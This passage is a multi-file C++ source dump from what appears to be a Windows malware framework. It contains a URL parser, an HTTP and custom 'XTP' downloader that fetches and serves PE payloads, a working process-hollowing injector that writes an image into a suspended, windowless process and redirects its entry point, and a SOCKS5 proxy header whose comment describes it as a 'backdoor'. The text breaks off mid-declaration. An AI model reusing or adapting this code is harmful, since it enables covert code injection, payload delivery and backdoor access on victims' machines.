155 | mem::copy(raw_hostname, ptr, (DWORD_PTR)ptr2 - (DWORD_PTR)ptr); 156 | this->Hostname = new str_string(raw_hostname); 157 | mem::free(raw_hostname); 158 | 159 | ptr2++; 160 | this->File = new str_string((LPSTR)ptr2); 161 | this->type = TYPE_HTTP; 162 | this->is_ok = true; 163 | } else if (!str::compareA(*raw_url, _xtp_protocol, str::lenA(_xtp_protocol))) { 164 | 165 | // XTP protocol URL 166 | PCHAR ptr; 167 | if (RawURL->lenA() < str::lenA(_xtp_protocol)) { 168 | ptr = (PCHAR)RawURL->to_lpstr(); 169 | } else if (!mem::compare((LPCVOID)RawURL->to_lpstr(), _xtp_protocol, str::lenA(_xtp_protocol))) { 170 | ptr = (PCHAR)((DWORD_PTR)RawURL->to_lpstr() + str::lenA(_xtp_protocol)); 171 | } else { 172 | ptr = (PCHAR)RawURL->to_lpstr(); 173 | } 174 | 175 | // Check if there is a file 176 | if (str::find_character_in_stringA(ptr, str::lenA(ptr), _slash) == false || 177 | *(PCHAR)&ptr[str::lenA(ptr)] == _slash) { 178 | // No file 179 | Hostname = new str_string(ptr); 180 | this->is_ok = true; 181 | return; 182 | } 183 | 184 | // There is a file 185 | PCHAR ptr2; 186 | str::find_sequence_pointerA(ptr, str::lenA(ptr), &_slash, str::ASCII_CHAR, (LPSTR *)&ptr2); 187 | LPSTR raw_hostname = (LPSTR)mem::malloc((UINT)((DWORD_PTR)ptr2 - (DWORD_PTR)ptr) + str::ASCII_CHAR); 188 | mem::copy(raw_hostname, ptr, (DWORD_PTR)ptr2 - (DWORD_PTR)ptr); 189 | this->Hostname = new str_string(raw_hostname); 190 | mem::free(raw_hostname); 191 | 192 | ptr2++; 193 | this->File = new str_string((LPSTR)ptr2); 194 | this->type = TYPE_XTP; 195 | this->is_ok = true; 196 | } else { 197 | return; 198 | } 199 | } 200 | 201 | ~url(VOID) 202 | { 203 | 204 | } 205 | 206 | str_string *url::get_url(VOID) const 207 | { 208 | return this->RawURL.get_value(); 209 | } 210 | 211 | str_string *url::get_hostname(void) const 212 | { 213 | PCHAR ptr = (PCHAR)**this->RawURL; 214 | for (UINT i = 0; i < this->RawURL->lenA(); i++) { 215 | if (ptr[i] == '/' && *(PCHAR)&ptr[i + str::ASCII_CHAR] == '/') { 216 | ptr = (PCHAR)&ptr[i + 2]; 217 | } 218 | } 219 | 220 | // Compute up to file name 221 | PCHAR ptr2 = (PCHAR)ptr; 222 | for (UINT i = 0; i < str::lenA(ptr); i++) { 223 | if (ptr2[i] == '/') { 224 | ptr2 += i; 225 | break; 226 | } 227 | } 228 | 229 | LPSTR new_buffer = (LPSTR)mem::malloc((DWORD_PTR)ptr2 - (DWORD_PTR)ptr + str::ASCII_CHAR); 230 | mem::copy(new_buffer, ptr, (UINT)((DWORD_PTR)ptr2 - (DWORD_PTR)ptr)); 231 | 232 | return new str_string(new_buffer); 233 | } 234 | 235 | str_string *url::get_filename(void) const 236 | { 237 | PCHAR ptr = (PCHAR)**this->RawURL; 238 | for (UINT i = 0; i < this->RawURL->lenA(); i++) { 239 | if (ptr[i] == '/' && *(PCHAR)&ptr[i + str::ASCII_CHAR]) { 240 | ptr = (PCHAR)&ptr[i + 2]; 241 | } 242 | } 243 | 244 | // Compute up to file name 245 | for (UINT i = 0; i < str::lenA(ptr); i++) { 246 | if (ptr[i] == '/') { 247 | ptr = &ptr[i + str::ASCII_CHAR]; 248 | } 249 | } 250 | 251 | return new str_string(ptr); 252 | } 253 | 254 | LPSTR get_raw_url(VOID) const 255 | { 256 | return this->RawURL->to_lpstr(); 257 | } 258 | 259 | bool get_is_ok(VOID) const 260 | { 261 | return this->is_ok; 262 | } 263 | 264 | bool get_is_xtp(void) const 265 | { 266 | if (this->type == TYPE_XTP) { 267 | return true; 268 | } 269 | 270 | return false; 271 | } 272 | 273 | bool get_is_http(void) const 274 | { 275 | if (this->type == TYPE_HTTP) { 276 | return true; 277 | } 278 | 279 | return false; 280 | } 281 | }; 282 | }; -------------------------------------------------------------------------------- /http/net_download.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | 12 | #ifndef CONFIG_OK 13 | #include "../config.h" 14 | #endif 15 | 16 | #ifndef DISABLE_LIBRARY_INFO 17 | #ifdef CONFIG_COMPILE64 18 | #pragma message (OUTPUT_PRIMARY "download: Linking with URLMon.lib (32)") 19 | #else 20 | #pragma message (OUTPUT_PRIMARY "download: Linking with URLMon.lib (32)") 21 | #endif 22 | #endif 23 | 24 | #pragma comment(lib, "Urlmon.lib") 25 | 26 | #include "common/fs.h" 27 | #include "common/mem.h" 28 | #include "common/str.h" 29 | #include "net/socket.h" 30 | #include "core/pe.h" 31 | #include "crypt/crypt.h" 32 | #include "http/url.h" 33 | #include "api.h" 34 | 35 | #define DEFAULT_BUFFER_SIZE 0x4000 36 | 37 | // eXchange Transfer Protocol (XTP) Config 38 | #define XTP_ENABLE 39 | #ifdef XTP_ENABLE 40 | #define XTP_MODE_CLIENT // Client or server mode (prevent disclosure of server objects) 41 | #define XTP_MODE_BOTH 42 | #define XTP_ENCRYPTION 43 | #define XTP_MAX_SERVICE_THREADS 1024 44 | #define XTP_SERVICE_PORT 7778 45 | #define XTP_MAX_URL_LENGTH 2048 46 | #define XTP_WAIT_SECONDS CONFIG_XTP_TIMEOUT 47 | 48 | #define XTP_LINE_TERM "," // Splits the lines a|b,c|d 49 | #define XTP_ELEMENT_TERM "|" 50 | 51 | #ifndef DISABLE_LIBRARY_INFO 52 | #pragma message (OUTPUT_PRIMARY "Compiling with XTP") 53 | #endif 54 | #endif 55 | 56 | namespace download { 57 | 58 | static const UINT invalid_handle = 0; 59 | static const UINT default_buffer_size = DEFAULT_BUFFER_SIZE; 60 | 61 | class http 62 | { 63 | private: 64 | HINTERNET session_handle; 65 | HINTERNET url_handle; 66 | 67 | Ptr RawURL; 68 | 69 | Ptr RawData; 70 | 71 | bool download_ok; 72 | 73 | public: 74 | http(__in url_library::url& raw_url) : 75 | RawURL(new url_library::url(raw_url.get_raw_url())), 76 | session_handle(invalid_handle), url_handle(invalid_handle), 77 | RawData(NULL), 78 | download_ok(false) 79 | { 80 | this->session_handle = cInternetOpenA( NULL, 81 | INTERNET_OPEN_TYPE_DIRECT, 82 | NULL, 83 | NULL, 84 | 0); 85 | if (this->session_handle == invalid_handle) { 86 | return; 87 | } 88 | 89 | this->url_handle = cInternetOpenUrlA( this->session_handle, 90 | RawURL->get_raw_url(), 91 | NULL, 92 | 0, 93 | 0, 94 | 0); 95 | if (this->url_handle == invalid_handle) { 96 | return; 97 | } 98 | 99 | UINT content_length_size = 0; 100 | BOOL query_status = cHttpQueryInfoA( this->url_handle, 101 | HTTP_QUERY_CONTENT_LENGTH, 102 | NULL, 103 | (LPDWORD)&content_length_size, 104 | NULL); 105 | if (content_length_size == 0) { 106 | return; 107 | } 108 | 109 | PCHAR content_length = (PCHAR)mem::malloc(content_length_size + str::ASCII_CHAR); 110 | query_status = cHttpQueryInfoA( this->url_handle, 111 | HTTP_QUERY_CONTENT_LENGTH, 112 | (LPVOID)content_length, 113 | (LPDWORD)&content_length_size, 114 | NULL); 115 | if (!query_status) { 116 | return; 117 | } 118 | 119 | UINT length = str::string_to_intA(content_length); 120 | 121 | // Download loop 122 | while (true) { 123 | PBYTE buffer[default_buffer_size]; 124 | UINT bytes_read = 0; 125 | mem::zeromem(buffer, default_buffer_size); 126 | 127 | BOOL fetch_status = cInternetReadFile( this->url_handle, 128 | buffer, 129 | default_buffer_size, 130 | (LPDWORD)&bytes_read); 131 | if (fetch_status == FALSE) { 132 | return; 133 | } 134 | 135 | if (RawData.get_value() == NULL) { 136 | RawData = new mem::buffer2((LPVOID)buffer, bytes_read); 137 | } else { 138 | RawData->append((LPVOID)buffer, bytes_read); 139 | } 140 | 141 | length = length - bytes_read; 142 | 143 | if (length == 0) { 144 | break; 145 | } 146 | 147 | cSleep(10); 148 | } 149 | 150 | this->download_ok = true; 151 | } 152 | 153 | ~http(VOID) 154 | { 155 | if (this->url_handle != invalid_handle) { 156 | cInternetCloseHandle(this->url_handle); 157 | this->url_handle = invalid_handle; 158 | } 159 | 160 | if (this->session_handle != invalid_handle) { 161 | cInternetCloseHandle(session_handle); 162 | this->session_handle = invalid_handle; 163 | } 164 | } 165 | 166 | mem::buffer2 *get_raw_buffer(VOID) const 167 | { 168 | return this->RawData.get_value(); 169 | } 170 | 171 | bool get_is_ok(VOID) const 172 | { 173 | return this->download_ok; 174 | } 175 | 176 | bool write_to_disk(__in str_string& file_name) const 177 | { 178 | if (this->RawData == NULL || this->RawData->get_raw_size() == 0) { 179 | return false; 180 | } 181 | 182 | return fs::write_raw_to_disk_(file_name, *this->RawData); 183 | } 184 | }; 185 | 186 | #ifdef XTP_ENABLE 187 | // XTP (eXchange Transfer Protocol) 188 | // XTP takes URLs in the form of xtp://address_of_server/file_name/file_name 189 | class xtp; 190 | static const DWORD _sig_size = sizeof(DWORD); 191 | static const CHAR _sig_xtp[] = { 'X', 'T', 'P', '0' }; 192 | static const CHAR _sig_xtp_response_ok[] = { 'O', 'K', '0', '0' }; 193 | static const CHAR _sig_xtp_response_dne[] = { 'D', 'N', 'E', '0' }; 194 | static const CHAR _sig_xtp_response_fail[] = { 'F', 'A', 'I', 'L' }; 195 | static const CHAR _sig_xtp_request[] = { 'R', 'E', 'Q', '0' }; 196 | static const UINT xtp_max_service_threads = XTP_MAX_SERVICE_THREADS; 197 | static const UINT xtp_service_port = XTP_SERVICE_PORT; 198 | static const UINT xtp_max_url_length = XTP_MAX_URL_LENGTH; 199 | static const types::TIME32 xtp_wait_seconds = XTP_WAIT_SECONDS; 200 | 201 | static const UINT xtp_file_name = 0; 202 | static const UINT xtp_file_path = 1; 203 | 204 | static const BYTE xtp_response_ready = 0x41; 205 | static const BYTE xtp_response_ready2 = 0x42; 206 | 207 | static const LPSTR xtp_protocol_uri = "xtp://"; 208 | 209 | static const LPSTR xtp_line_term = XTP_LINE_TERM; 210 | static const LPSTR xtp_element_term = XTP_ELEMENT_TERM; 211 | 212 | class xtp { 213 | protected: Ptr CurrentConnection; 214 | 215 | protected: 216 | struct request { 217 | CHAR signature[sizeof(_sig_xtp)]; 218 | CHAR type[sizeof(_sig_xtp)]; 219 | UINT response_size; 220 | CHAR url[xtp_max_url_length]; 221 | 222 | request(void) { 223 | mem::zeromem(signature, sizeof(signature)); 224 | mem::zeromem(type, sizeof(type)); 225 | mem::zeromem(url, sizeof(url)); 226 | response_size = 0; 227 | } 228 | }; 229 | 230 | public: 231 | virtual ~xtp(void) 232 | { 233 | 234 | } 235 | 236 | virtual bool process(void) = 0; 237 | 238 | // Returns a pointer to the file name 239 | static str_string *isolate_request_file(__in const CHAR url[xtp_max_url_length]); 240 | }; 241 | 242 | // Client 243 | //#ifdef XTP_MODE_CLIENT 244 | class xtp_client : public xtp { 245 | Buffer2 ReturnData; 246 | 247 | StrString Hostname; 248 | StrString Filename; 249 | 250 | Ptr RequestURL; 251 | 252 | bool download_ok; 253 | 254 | public: 255 | xtp_client::xtp_client(__in const url_library::url& request_url); 256 | 257 | virtual ~xtp_client(void) 258 | { 259 | 260 | } 261 | 262 | // Process for the client is to attempt a download 263 | virtual bool process(void); 264 | 265 | // Returns the raw data 266 | mem::buffer2 *get_raw_data(void) const 267 | { 268 | if (this->download_ok == false || ReturnData.get_is_null()) { 269 | return NULL; 270 | } 271 | 272 | return this->ReturnData.get_value(); 273 | } 274 | 275 | bool get_is_download_ok(void) const 276 | { 277 | return this->download_ok; 278 | } 279 | }; 280 | 281 | // Server 282 | //#elif defined(XTP_MODE_BOTH) 283 | class xtp_server : public xtp { 284 | HANDLE dispatched_handlers[XTP_MAX_SERVICE_THREADS]; 285 | HANDLE listener; 286 | 287 | WORD service_port; 288 | 289 | //SOCKET bind_socket; 290 | 291 | public: typedef struct xtp_server_input { 292 | StrString RequestName; 293 | Ptr RawPE; 294 | 295 | xtp_server_input(void) 296 | { 297 | RequestName = NULL; 298 | RawPE = NULL; 299 | } 300 | } XTP_SERVER_INPUT, *PXTP_SERVER_INPUT; 301 | 302 | Ptr> ObjectHostInfo; 303 | 304 | public: 305 | xtp_server::xtp_server(__in const std::vector& object_host_info); 306 | 307 | virtual ~xtp_server(void) 308 | { 309 | 310 | } 311 | 312 | // Process for the server is to create a listener thread 313 | virtual bool process(void); 314 | 315 | private: 316 | // Listener thread 317 | static types::NO_RETURN_VALUE __declspec(noreturn) 318 | xtp_server::listener_thread(__in const std::vector *object_host_info); 319 | 320 | // Dispatch thread 321 | struct handler_thread_parameters { 322 | socket_tools::socket_data *current_connection; 323 | const std::vector *object_host_info; 324 | struct sockaddr_in connection_data; 325 | HANDLE tid; 326 | }; 327 | static types::NO_RETURN_VALUE __declspec(noreturn) 328 | xtp_server::handler_thread(__in handler_thread_parameters *params); 329 | 330 | // Finds the appropriate raw data to send based on url. The dispatchers call this to find 331 | // out what data to send to the client 332 | static PCRITICAL_SECTION sync_raw_data; 333 | static mem::buffer2 *get_raw_data(__in const std::vector *object_host_info, 334 | __in const str_string& file_name); 335 | 336 | 337 | public: 338 | WORD get_service_port(void) const 339 | { 340 | return this->service_port; 341 | } 342 | }; 343 | 344 | std::vector *generate_list_from_file(__in const str_string& file_path); 345 | //#endif 346 | #endif 347 | } -------------------------------------------------------------------------------- /inject/hollow.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "hollow.h" 4 | 5 | #include "common/mem.h" 6 | #include "common/str.h" 7 | #include "debug/error.h" 8 | 9 | ERROR_CODE hollow::entry(__in LPCVOID raw_image, __in LPCSTR target) 10 | { 11 | ERROR_CODE status; 12 | 13 | // Basic tests on target 14 | status = pretest(target); 15 | CHECK_STATUS(status); 16 | 17 | status = check_pe(raw_image); 18 | CHECK_STATUS(status); 19 | 20 | // Start suspended process 21 | PROCESS_INFORMATION process_info; 22 | STARTUPINFOA startup_info; 23 | HOLLOW_ZEROMEM(&process_info, sizeof(PROCESS_INFORMATION)); 24 | HOLLOW_ZEROMEM(&startup_info, sizeof(STARTUPINFOA)); 25 | status = (ERROR_CODE)HOLLOW_CREATEPROCESSA( (LPCSTR)target, 26 | NULL, 27 | NULL, 28 | NULL, 29 | FALSE, 30 | CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW, 31 | NULL, 32 | NULL, 33 | &startup_info, 34 | &process_info); 35 | if (!status) { 36 | return error::ER_HOLLOW_CREATE_PROCESS; 37 | } 38 | 39 | LPVOID virtual_image; 40 | UINT virtual_image_size; 41 | status = setup_virtual_image(raw_image, &virtual_image, &virtual_image_size); 42 | CHECK_STATUS(status); 43 | 44 | status = hollow::inject(&process_info, virtual_image, virtual_image_size); 45 | CHECK_STATUS(status); 46 | 47 | return error::ER_HOLLOW_OK; 48 | } 49 | 50 | static ERROR_CODE hollow::check_pe(LPCVOID raw_image) 51 | { 52 | PIMAGE_DOS_HEADER dos_header; 53 | PIMAGE_NT_HEADERS nt_headers; 54 | 55 | dos_header = (PIMAGE_DOS_HEADER)raw_image; 56 | if (dos_header->e_magic != 'ZM') { 57 | return error::ER_HOLLOW_PE; 58 | } 59 | 60 | nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)raw_image + dos_header->e_lfanew); 61 | if (nt_headers->Signature != 'EP') { 62 | return error::ER_HOLLOW_PE; 63 | } 64 | 65 | return error::ER_HOLLOW_OK; 66 | } 67 | 68 | ERROR_CODE hollow::pretest(LPCSTR target) 69 | { 70 | ERROR_CODE status; 71 | LPVOID raw_buffer; 72 | UINT raw_buffer_size; 73 | 74 | status = (ERROR_CODE)HOLLOW_LOADRAWFILE(target, &raw_buffer_size, (LPVOID *)&raw_buffer); 75 | if (!status || (raw_buffer_size == 0) || (raw_buffer == NULL)) { 76 | return error::ER_HOLLOW_PRETEST; 77 | } 78 | 79 | HOLLOW_FREE(raw_buffer); 80 | 81 | return error::ER_HOLLOW_OK; 82 | } 83 | 84 | static ERROR_CODE hollow::setup_virtual_image( __in LPCVOID raw_image, 85 | __out LPVOID *virtual_image, 86 | __out PUINT virtual_image_size) 87 | { 88 | PIMAGE_DOS_HEADER dos_header; 89 | PIMAGE_NT_HEADERS nt_headers; 90 | PIMAGE_SECTION_HEADER section_header; 91 | 92 | PVOID virtual_pe; 93 | 94 | UINT i; 95 | 96 | dos_header = (PIMAGE_DOS_HEADER)raw_image; 97 | nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)raw_image + dos_header->e_lfanew); 98 | 99 | *virtual_image_size = nt_headers->OptionalHeader.SizeOfImage; 100 | 101 | virtual_pe = (PVOID)HOLLOW_MALLOC(*virtual_image_size); 102 | HOLLOW_ZEROMEM(virtual_pe, *virtual_image_size); 103 | 104 | // Headers 105 | HOLLOW_MEMCPY(virtual_pe, (LPVOID)raw_image, nt_headers->OptionalHeader.SizeOfHeaders); 106 | 107 | // Segments 108 | section_header = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(nt_headers); 109 | for (i = 0; i < nt_headers->FileHeader.NumberOfSections; i++) { 110 | 111 | if ((section_header->SizeOfRawData == 0) || (section_header->PointerToRawData == NULL)) { 112 | section_header++; 113 | continue; 114 | } 115 | 116 | HOLLOW_MEMCPY( (PVOID)((DWORD_PTR)virtual_pe + section_header->VirtualAddress), 117 | (PVOID)((DWORD_PTR)raw_image + section_header->PointerToRawData), 118 | section_header->SizeOfRawData); 119 | section_header++; 120 | } 121 | 122 | *virtual_image = (LPVOID *)virtual_pe; 123 | 124 | return error::ER_HOLLOW_OK; 125 | } 126 | 127 | static ERROR_CODE hollow::inject(PPROCESS_INFORMATION process, LPCVOID virtual_image, UINT virtual_image_size) 128 | { 129 | ERROR_CODE status; 130 | 131 | DWORD image_base; 132 | DWORD remote_host_oep; 133 | INT bytes_written; 134 | 135 | //HANDLE remote_thread; 136 | //DWORD remote_thread_id; 137 | 138 | //CONTEXT context; 139 | 140 | INT bytes; 141 | 142 | BYTE opcode; 143 | DWORD operand; 144 | 145 | image_base = find_base(virtual_image); 146 | 147 | status = (ERROR_CODE)HOLLOW_VIRTALLOCEX(process->hProcess, (LPVOID)image_base, virtual_image_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 148 | if (!status) { 149 | return error::ER_HOLLOW_ALLOC; 150 | } 151 | 152 | status = (ERROR_CODE)HOLLOW_WRITEPROCMEM(process->hProcess, (LPVOID)image_base, virtual_image, virtual_image_size, (PUINT)&bytes_written); 153 | if (!status || (bytes_written != virtual_image_size)) { 154 | return error::ER_HOLLOW_WRITE; 155 | } 156 | 157 | // Obsolete 158 | /* 159 | remote_thread = HOLLOW_CREATEREMOTETHR( process, 160 | NULL, 161 | 0, 162 | hollow_find_oep(virtual_image), 163 | NULL, 164 | 0, 165 | &remote_thread_id); 166 | if ((remote_thread == INVALID_HANDLE_VALUE) || (remote_thread_id == 0)) { 167 | return ERROR_HOLLOW_THREAD; 168 | }*/ 169 | 170 | // Adjust thread context 171 | /* 172 | HOLLOW_ZEROMEM(&context, sizeof(CONTEXT)); 173 | //ResumeThread(process->hThread); 174 | //Sleep(1000); 175 | //SuspendThread(process->hThread); 176 | status = (ERROR_CODE)HOLLOW_GETCONTEXT(process->hThread, &context); 177 | if (!status) { 178 | return ERROR_HOLLOW_THREAD; 179 | } 180 | 181 | context.Eip = 0xffffffff; 182 | 183 | status = (ERROR_CODE)HOLLOW_SETCONTEXT(process->hThread, &context); 184 | if (!status) { 185 | return ERROR_HOLLOW_THREAD; 186 | }*/ 187 | 188 | remote_host_oep = hollow::get_remote_host_oep(process); 189 | 190 | opcode = HOLLOW_OPCODE; 191 | operand = (DWORD)((DWORD)hollow::find_oep(virtual_image) - remote_host_oep - sizeof(BYTE[5])); 192 | status = (ERROR_CODE)HOLLOW_WRITEPROCMEM( process->hProcess, 193 | (LPVOID)remote_host_oep, 194 | &opcode, 195 | sizeof(opcode), 196 | (PUINT)&bytes); 197 | if (!status || (bytes != sizeof(opcode))) { 198 | return error::ER_HOLLOW; 199 | } 200 | 201 | status = (ERROR_CODE)HOLLOW_WRITEPROCMEM( process->hProcess, 202 | (LPVOID)((DWORD)remote_host_oep + sizeof(opcode)), 203 | &operand, 204 | sizeof(operand), 205 | (PUINT)&bytes); 206 | if (!status || (bytes != sizeof(operand))) { 207 | return error::ER_HOLLOW; 208 | } 209 | 210 | HOLLOW_RESTHREAD(process->hThread); 211 | return error::ER_HOLLOW_OK; 212 | } 213 | 214 | static DWORD hollow::find_base(LPCVOID virtual_image) 215 | { 216 | PIMAGE_DOS_HEADER dos_header; 217 | PIMAGE_NT_HEADERS nt_headers; 218 | 219 | dos_header = (PIMAGE_DOS_HEADER)virtual_image; 220 | nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)dos_header + dos_header->e_lfanew); 221 | 222 | return nt_headers->OptionalHeader.ImageBase; 223 | } 224 | 225 | static DWORD hollow::get_remote_host_oep(PPROCESS_INFORMATION process) 226 | { 227 | ERROR_CODE status; 228 | 229 | PROCESS_BASIC_INFORMATION proc_info; 230 | DWORD remote_base; 231 | 232 | PVOID buffer; 233 | DWORD offset; 234 | DWORD oep; 235 | 236 | INT bytes; 237 | 238 | HOLLOW_ZEROMEM(&proc_info, sizeof(PROCESS_BASIC_INFORMATION)); 239 | status = (ERROR_CODE)HOLLOW_QUERYPROC( process->hProcess, 240 | (PROCESSINFOCLASS)0, 241 | &proc_info, 242 | sizeof(PROCESS_BASIC_INFORMATION), 243 | (PULONG)&bytes); 244 | if (status || (bytes != sizeof(PROCESS_BASIC_INFORMATION))) { 245 | return error::ER_HOLLOW_EP; 246 | } 247 | 248 | status = (ERROR_CODE)HOLLOW_READPROCMEM(process->hProcess, 249 | (LPCVOID)((DWORD_PTR)proc_info.PebBaseAddress + 8), 250 | &remote_base, 251 | sizeof(DWORD_PTR), 252 | (PUINT)&bytes); 253 | if (!status || (bytes != sizeof(DWORD_PTR))) { 254 | return error::ER_HOLLOW_EP; 255 | } 256 | 257 | // Read in DOS header 258 | buffer = (PVOID)HOLLOW_MALLOC(sizeof(IMAGE_DOS_HEADER)); 259 | HOLLOW_ZEROMEM(buffer, sizeof(IMAGE_DOS_HEADER)); 260 | status = (ERROR_CODE)HOLLOW_READPROCMEM(process->hProcess, 261 | (LPCVOID)remote_base, 262 | buffer, 263 | sizeof(IMAGE_DOS_HEADER), 264 | (PUINT)&bytes); 265 | if (!status || (bytes != sizeof(IMAGE_DOS_HEADER))) { 266 | return error::ER_HOLLOW_EP; 267 | } 268 | if (((PIMAGE_DOS_HEADER)buffer)->e_magic != 'ZM') { 269 | return error::ER_HOLLOW_EP; 270 | } 271 | offset = ((PIMAGE_DOS_HEADER)buffer)->e_lfanew; 272 | HOLLOW_FREE(buffer); 273 | 274 | // Read in PE header 275 | buffer = (PVOID)HOLLOW_MALLOC(sizeof(IMAGE_NT_HEADERS)); 276 | HOLLOW_ZEROMEM(buffer, sizeof(IMAGE_NT_HEADERS)); 277 | status = (ERROR_CODE)HOLLOW_READPROCMEM(process->hProcess, 278 | (LPCVOID)((DWORD)remote_base + (DWORD)offset), 279 | buffer, 280 | sizeof(IMAGE_NT_HEADERS), 281 | (PUINT)&bytes); 282 | if (!status || (bytes != sizeof(IMAGE_NT_HEADERS))) { 283 | return error::ER_HOLLOW_EP; 284 | } 285 | if (((PIMAGE_NT_HEADERS)buffer)->Signature != 'EP') { 286 | return error::ER_HOLLOW_EP; 287 | } 288 | oep = ((PIMAGE_NT_HEADERS)buffer)->OptionalHeader.AddressOfEntryPoint; 289 | HOLLOW_FREE(buffer); 290 | 291 | return (oep + remote_base); 292 | } 293 | 294 | static LPTHREAD_START_ROUTINE hollow::find_oep(LPCVOID virtual_image) 295 | { 296 | if (virtual_image == NULL) { 297 | return (LPTHREAD_START_ROUTINE)NULL; 298 | } 299 | 300 | PIMAGE_DOS_HEADER dos_header; 301 | PIMAGE_NT_HEADERS nt_headers; 302 | 303 | dos_header = (PIMAGE_DOS_HEADER)virtual_image; 304 | nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)dos_header + dos_header->e_lfanew); 305 | 306 | return (LPTHREAD_START_ROUTINE)(nt_headers->OptionalHeader.AddressOfEntryPoint 307 | + nt_headers->OptionalHeader.ImageBase); 308 | } 309 | 310 | hollow::hl_instance::hl_instance(__in const str_string& target_file, 311 | __in const mem::buffer2& raw_pe) 312 | { 313 | this->TargetFile = new str_string(*target_file); 314 | this->RawPE = new mem::buffer2(*raw_pe, raw_pe.get_raw_size()); 315 | 316 | return; 317 | } 318 | 319 | bool hollow::hl_instance::hollow_target(void) 320 | { 321 | ERROR_CODE hollow_status = hollow::entry(**this->RawPE, **this->TargetFile); 322 | if (hollow_status != error::ER_HOLLOW_OK) { 323 | return false; 324 | } 325 | 326 | return true; 327 | } -------------------------------------------------------------------------------- /net/proxy.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "../common/str.h" 5 | #include "../api.h" 6 | 7 | #pragma once 8 | 9 | #ifdef _WIN64 10 | #define WIN64 11 | #endif 12 | #ifdef WIN64 13 | #pragma message ("Proxy.cpp: We are using 64-bit mode!") 14 | #endif 15 | 16 | // Debug output 17 | #define DBG_ 18 | //#define DBG_VERBOSE 19 | 20 | #define USE_SOCKS5 21 | //#define USE_SOCKS4 22 | 23 | #define SERVER_ONLY_MODE // no proxy chaining at all. acts like a simple SOCKS5 server - backdoor 24 | 25 | #define SCAN_MODE // 1 scan cycle 26 | #define KNOWN_PROXY_LIST "known_proxies.txt"; 27 | 28 | #define TIMING_TEST_PROXY 0 // Time before test_one_proxy begins work 29 | #define TIMING_CREATE_SCAN_THREAD 0 // Time that get_active_list_thread takes to create threads 30 | 31 | #define DEFAULT_HTTP_PORT 80 32 | #define NUMBER_OF_SCANNING_THREADS 2048 33 | 34 | #ifdef SERVER_ONLY_MODE 35 | #define WAIT_FOR_SERVER_S 30 // Localhost, should be fast. 36 | #define WAIT_FOR_SERVER_MS 0 37 | #endif 38 | 39 | class proxy_instance; 40 | 41 | namespace proxy { 42 | typedef DWORD ER_PROXY; 43 | enum { 44 | ER_PROXY_OK, 45 | ER_PROXY_FAIL, 46 | ER_PROXY_TEST_CIRCUIT, 47 | ER_DESTINATION_CONNECT, // Failure to connect to the destination 48 | }; 49 | 50 | // Timings 51 | static const UINT timing_test_proxy = TIMING_TEST_PROXY; 52 | static const UINT timing_create_scan = TIMING_CREATE_SCAN_THREAD; 53 | 54 | // Timings for server mode 55 | #ifdef SERVER_ONLY_MODE 56 | 57 | // Amount of time till filter->local tor timeout 58 | static const UINT timing_local_connect_s = WAIT_FOR_SERVER_S; 59 | static const UINT timing_local_connect_ms = WAIT_FOR_SERVER_MS; 60 | 61 | #endif 62 | 63 | // Engine state 64 | static bool engine_state = false; 65 | 66 | // WSAState 67 | static WSADATA *wsadata = NULL; 68 | static bool wsa_state = false; 69 | 70 | // Definitions 71 | typedef UINT PR_INT32; 72 | typedef VOID PR_THREAD_ENTRY; 73 | typedef SOCKET *PSOCKET; 74 | 75 | // Use this structure to pass information to the proxy 76 | typedef str_string* PROXY_ADDRESS; 77 | typedef WORD PROXY_PORT; // In network order 78 | typedef struct { 79 | PROXY_ADDRESS ip_address; 80 | PROXY_PORT port; 81 | } PROXY_INFO, *PPROXY_INFO; 82 | typedef str_string* DEST_ADDRESS; 83 | typedef WORD DEST_PORT; 84 | typedef str_string* DEST_DOMAIN; 85 | typedef struct { 86 | DEST_DOMAIN domain; 87 | DEST_ADDRESS ip_address; 88 | DEST_PORT port; 89 | } DEST_INFO, *PDEST_INFO; 90 | 91 | // Pointer to buffer of structure ip:port\nip:port\n ,etc - Entry point 92 | typedef struct { 93 | LPVOID buffer; 94 | UINT size; 95 | 96 | //LPVOID known_buffer; // Handled internally 97 | //UINT known_size; 98 | 99 | LPSTR known_target; 100 | 101 | UINT number_of_chains; 102 | } PROXY_LIST, *PPROXY_LIST; 103 | 104 | // Previously stored proxies. Passed to functional_servers Ctor 105 | typedef struct { 106 | LPSTR target_file; 107 | LPVOID buffer; 108 | UINT size; 109 | } WORKING_PROXIES, *PWORKING_PROXIES; 110 | static PWORKING_PROXIES working_proxies_list; 111 | 112 | // Active proxy chain 113 | static std::vector> chain_array; 114 | 115 | // Destination 116 | typedef DWORD ER_DEST_PARSE; 117 | enum { 118 | ER_DEST_PARSE_OK, 119 | ER_DEST_PARSE_FAIL 120 | }; 121 | typedef struct { 122 | LPSTR domain; 123 | LPSTR ip_address; 124 | UINT port; 125 | } TARGET_SERVER, *PTARGET_SERVER; 126 | //proxy::ER_DEST_PARSE parse_destination(__inout PDEST_INFO dest_info, 127 | // __in const PTARGET_SERVER target); 128 | static PTARGET_SERVER destination_target = NULL; // Target domain or IP address 129 | SOCKET __declspec(dllexport) build_chain(__in const PPROXY_LIST list, 130 | __in const PTARGET_SERVER target, __in const SOCKET server_socket); 131 | VOID close_chain(const SOCKET socket); 132 | typedef struct { 133 | str_string *buffer; 134 | PROXY_ADDRESS ip_address; 135 | PROXY_PORT port; 136 | } PROXY_ENTRY, *PPROXY_ENTRY; 137 | 138 | // Binds a SOCKS5 listener, dispatches to build_chain 139 | typedef DWORD SERVER_ERROR; 140 | enum { 141 | SERVER_ERROR_OK, 142 | SERVER_ERROR_GENERAL_FAILURE, 143 | SERVER_ERROR_SOCKET_INIT, 144 | SERVER_ERROR_SOCKOPT, 145 | SERVER_ERROR_BIND 146 | }; 147 | class socks_server; 148 | static class socks_server *socks5_listener; 149 | SERVER_ERROR __declspec(dllexport) start_socks5_listener(PPROXY_LIST list, WORD 